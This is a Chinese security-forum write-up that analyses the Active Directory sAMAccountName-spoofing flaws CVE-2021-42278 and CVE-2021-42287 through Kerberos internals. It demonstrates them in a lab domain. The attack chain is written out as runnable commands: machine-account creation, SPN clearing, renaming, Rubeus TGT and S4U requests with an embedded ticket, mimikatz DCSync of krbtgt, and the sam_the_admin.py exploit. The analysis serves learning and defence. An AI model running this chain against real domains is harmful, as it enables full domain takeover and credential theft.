最近爆出了一个只需一个域账号就可以打域控的洞相信大家都有所了解了,简单粗暴,拿到一枚域账号密码即可在特定环境下打下域控,可利用性很高,不局限于域内,即使在域外也可以打,前提要能与域控通信到。但是目前还没有通过kerberos原理去分析学习这个漏洞的详细文章,所以写了一篇分析学习一下这次的域提权漏洞。
前言
最近爆出了一个只需一个域账号就可以打域控的洞相信大家都有所了解了,简单粗暴,拿到一枚域账号密码即可在特定环境下打下域控,可利用性很高,不局限于域内,即使在域外也可以打,前提要能与域控通信到。但是目前还没有通过kerberos原理去分析学习这个漏洞的详细文章,所以写了一篇分析学习一下这次的域提权漏洞。
漏洞介绍
CVE-2021-42278 :
与 CVE-2021-42287 结合使用,它允许攻击者模拟域控制器帐户
CVE-2021-42287:
漏洞成因:当kerbros请求服务票据时候,需要出示TGT,所以如果KDC找到请求的服务票证时,KDC 会自动再次搜索带$,如果attacktubai去请求了TGT后,恶意攻击者再修改此机器用户名字,改成与当前域控机器账号相同,让认证阶段找不到该账号,此时创建修改成与域控同名的机器账户已经被改名,域控就会用自己的的密钥去加密TGS TICKET,这样就达到了目的,得到了高权限的票据,可以去做DCync等高危害操作。
攻击流程
- 1.创建一个机器账号
- 2.清除机器账户SPN
- 3.将机器账户的sAMAccountName,更改为DC的机器账户名字
- 4.使用创建的机器账户请求TGT
- 5.将机器账户sAMAccountName更改,在kerbros认证阶段识别不到该账户,从而可以实现让域控用自己的密钥加密tgs ticket,便可以得到一个高权限票据。
- 6.S4U2self协议向DC请求ST
- 7.实现DCsync
漏洞利用前提
该漏洞成功利用有两个前提:
- 1.需要一枚域账号密码,因为低权限域账户可以创建和修改机器账户,所以我们可以通过Powermad或addcomputer.py去实现域账号新增机器用户
- 2.MachineAccountQuota (MAQ) 机器是域级属性,默认情况下允许非特权用户将最多 10 台计算机连接到 Active Directory (AD) 域,这是域内默认的MAQ特性,默认允许域账户创建10个机器账户,所以我们要确保改值不为0,以便我们创建机器用户
实验环境:
域账号密码:tomcat/qwe@123
win7
kali
winserver2016域控机器名:AD-server$ ip:192.168.52.154
添加机器用户
首先利用powermad添加一个机器用户,我们利用域账号tomcat增加一个机器账户acktubai
加机器用户:
New-MachineAccount -MachineAccount attacktubai -Domain tubai.com -DomainController AD-server -Verbose
在域控查看,可以看到成功添加了一个机器账户attacktubai$
清除SPN:
SPN定义:
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。
我们要清除机器SPN
python3 addspn.py -u 'tubai\tomcat' -p 'qwe@123' -t 'attacktubai$' -c AD-server 清除spn
更改sAMAccountName:
python3 renameMachine.py -current-name 'attacktubai$' -new-name 'AD-server' -dc-ip '192.168.52.154' 'tubai.com'/'tomcat':'qwe@123' 改名字
上面介绍说了,CVE-2021-42278这个洞就是利用域控没有对域内机器账户名做验证,从而与CVE-2021-42287 结合使用达到域提权危害,所以我们现在将attacktubai$这个机器账户sAMAccountName改成与域控的机器名相同,域控机器名为AD-server$。
去域控查看发现sAMAccountName已经修改完成
请求TGT:
此时我们win7环境,进入powershell,klist查看一下win7的当前票据,看一看当前是空的。
ok,我们开始使用修改成与当前域控相同名字的用户去请求TGT.
那么重点在AS_REP认证阶段:
还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-key AS、时间戳、 Client-info 进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP 。PAC 中包含的是用户的 SID、用户所在的组等一些信息。 AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成 的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Sessionkey 和 TGT,因此可以相互转化。
我个人的理解:
另一部分的内容TGT,他是用KDC一个特定用户krbtgt用户的NTLM-Hash 对 Session-key AS、时间戳、 Client-info 进行的加密,然后将这两部分以及 PAC 等信息回复给 Client,即AS_REP。PAC 中包含 的是用户的 SID、用户所在的组等一些信息。所以是AS_REP这一步认证在搜索不到用户的时候,去搜索机器用户,这一块也做起了生成TGT的工作
所以我们可以以以AD-server的机器用户和密码向域控发起kerberos认证请求获取到TGT。
Rubeus.exe asktgt /user:AD-server /password:123456 /domian:tubai.com /dc:AD-server.tubai.com /nowra
请求tgt
改回机器名字:
python3 renameMachine.py -current-name 'AD-server' -new-name 'attacktubai$' -dc-ip 192.168.52.154 'tubai.com'/'tomcat':'qwe@123'
改回机器名字
这样我们去利用该CVE-2021-42287漏洞,将attacktubai$这个机器账户sAMAccountName再给改回来,或者改成其他的都行,只要让认证阶段找到不到该用户就行。
通过S4U2self申请TGS Ticket:
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/AD-server.tubai.com" /dc:"AD-server.tubai.com" /ptt /ticket:doIE6jCCBOagAwIBBaEDAgEWooIEBzCCBANhggP/MIID+6ADAgEFoQsbCVRVQkFJLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdHViYWkuY29to4IDxTCCA8GgAwIBEqEDAgECooIDswSCA6+Li/hV8vhRBafo80Isw2MZ+i+3iuOtwgMqAXAsF4dr9eXQJapZNY+sV/8P6e/jGP5jLjYlMEyE4/nAL20qJTdcDuGIAMpaYsX31N2+B1gEyNwqRi9U5fbyDRi82S59yf5lXT8m73q6eJXv+cVJeON5PBQUJ+vE1KFy/59MH3abANtmcqo7OftEqmvzWcklYZsR7e45C7MsGYg7sjJ3JlkzCh+70qO6F2eLWzR3+vt8CfYhkr3Bs06r7WznsZ8rhGaddAz1ugPTj7UBooOaHKNJZdymVKpL+R2G2Z6r73zu3iVAzv873s7yXj0bOhlkb8jqG1uL8JgUfyhQXRW2phwulhpAmSZWGxgiKh8dHZLRohLISbmvYVy3X9XCvVhwVZaa+oTzJVd51oqejXCAcE6wJRJQrsCQJ7i6aqbZsdbeKwLW2urcs9Voou56ey33ZtY2xwkKXNl2lhnbe3RKGFT6cZt14FCR6tEWcYURLEVKRT27WGByMrG+zKbY9QxiuhaKac4E3kdl0MoEmW6BsXubAxtLQOOOkcAF8PH0fA5ofbAdClcWFd4OY5RqLAIElYoaGghecIkxcNXTNv7L+JkTNs084SysOslXM8IYTm5avgUrDJCFjQmMr41X7IfbIkPf3uYLyc6/TFQIW8VgegrIJ92C2vQzVOOMKQh1R01c+9Z07cKuw90m0ohezj+6FC1M2eyl/Ft5S+G+1tLNWpYVtN3N5AOthZL+uLW3pCHYKiJX81pTq/KqRkOlAC6Q77GZeIWK5hWhqDEjFwh01rekeZTE4po/As0ZXpRukxYEZySfq4l/zLxKZPD5W+50VwKQPiQRJYXM+I0B+NVV+/F33n4U6SvaMhIu7dg9TBnVUi6yjzujqRbwz6sWbvE1kgGBZYPGyoWgux0fCtdyCCQ1JJvx7qHUSKrJu99BneEmKPPrgmBniZLzgw2LwgLBGKeRYH00vYi0Ob1ddtVONiGwb1xRjgbzEjDpXpMZvoo+1hzzJFsc74jlwJQ80WsYutX2498ZAkr2aYmZ6czXK+J5SRw2ykH/BqvkkEmVhK8G6RcsbpqC6groT4S3gUQcYw1XiG+hkjiMUwlxMlpK3YypguJjZw2VIHEU+yxZmN+aDeo5r0dN7QHGdURWymNh0AXZwhpi3jpWEumWOoYGDT9tLHNL2BeiD+l2ioxhxkATBDEw6WgtziELzy0fO3kEgejq3069RZeAK+/MRBYqA0AFp7gIBB1iGyCTP03mDj6bo4HOMIHLoAMCAQCigcMEgcB9gb0wgbqggbcwgbQwgbGgGzAZoAMCARehEgQQ2YSeyamXw3MRzYl6md4FGqELGwlUVUJBSS5DT02iFjAUoAMCAQGhDTALGwlBRC1zZXJ2ZXKjBwMFAEDhAAClERgPMjAyMTEyMTUwMDM5MzdaphEYDzIwMjExMjE1MTAzOTM3WqcRGA8yMDIxMTIyMjAwMzkzN1qoCxsJVFVCQUkuQ09NqR4wHKADAgECoRUwExsGa3JidGd0Gwl0dWJhaS5jb20=
导入票据,然后通过S4U2self申请TGS Ticket,这又来到了TGS_REQ & TGS_REP认证阶段。
使用该 TGT进行S4U2self以另一个用户身份请求服务票据时,会导致KDC找不到AD-server账户,因为我们已经把sam名字修改了,所以当他再次搜索结尾带有$的AD-server$,这个是真正的域控,域控便用自己的密钥加密服务票据 ST,从而得到了高权限的ST,该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据。
我们在在TGS_REQ & TGS_REP阶段,用户通过AS_REP拿到的TGT票据,去向KDC申请特定服务的访问权限,KDC校 验TGT票据,如果校验通过的话,会向用户发送一个TGS票据,之后用户再拿着TGS去访问特定的服务
此时导入成功,查看一下目前票据
去做dcync:
此时在当前会话去做dcync
lsadump::dcsync /user:tubai\krbtgt 成功
sam-the-admin-main
当然已有老外发了利用的,直接一条龙了
python3 sam_the_admin.py "tubai.com/kakao:qwe@123" -dc-ip 192.168.52.154 -shell
总结:
这次域提权的漏洞是一种sAMAccountName欺骗,影响挺大的在域内,通俗易懂的讲一下原理就是域控没有对域内机器账户名做验证,导致了恶意攻击者可以自己通过一枚域账号创建一个域机器用户,比如我通过域账号新建了一枚域机器账号为attacktubai$,把自己的机器名字改成了域控机器的名字AD-server,去申请TGT,然后再把自己的机器名字改回来,或者改成别的都行,目的是让认证阶段找不到该账号,此时域控就会用自己的的密钥去加密TGS TICKET,这样就达到了目的,得到了高权限的票据。
参考:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://mp.weixin.qq.com/s/E3FMHiZ2EPz1D22P_iNZEQ
- 本文作者: 涂白
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/983
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!